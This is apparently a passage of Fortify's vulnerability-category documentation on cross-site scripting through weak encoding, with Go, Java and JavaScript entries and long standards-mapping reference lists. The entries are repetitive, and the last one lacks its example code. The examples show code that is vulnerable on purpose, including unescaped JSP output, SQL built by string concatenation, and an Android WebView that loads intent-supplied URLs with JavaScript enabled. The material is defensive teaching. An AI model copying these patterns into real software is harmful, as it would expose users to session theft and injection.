- As shown in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As shown in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding constructs, such as the <c:out/> tag with the escapeXml="true" attribute (the default behavior), prevents some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded might take on meta-meaning. Relying on such encoding constructs is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user via the <c:out/> tag.


Employee ID: <c:out value="${param.eid}"/>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name via the <c:out/> tag.


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <c:out value="${name}"/>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(URLEncoder.encode(url));
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of DOM-based XSS, data is read from a URL parameter or other value within the browser and written back into the page with client-side code. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of DOM-based XSS, malicious content is executed as part of DOM (Document Object Model) creation, whenever the victim's browser parses the HTML page.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JavaScript code segment reads an employee ID, eid, from an HTTP request, escapes it, and displays it to the user.


<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(escape(document.URL.substring(pos,document.URL.length)));
</SCRIPT>



The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the example demonstrates, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- Data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding constructs, such as the <c:out/> tag with the escapeXml="true" attribute (the default behavior), prevents some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded might take on meta-meaning. Relying on such encoding constructs is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.



The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.



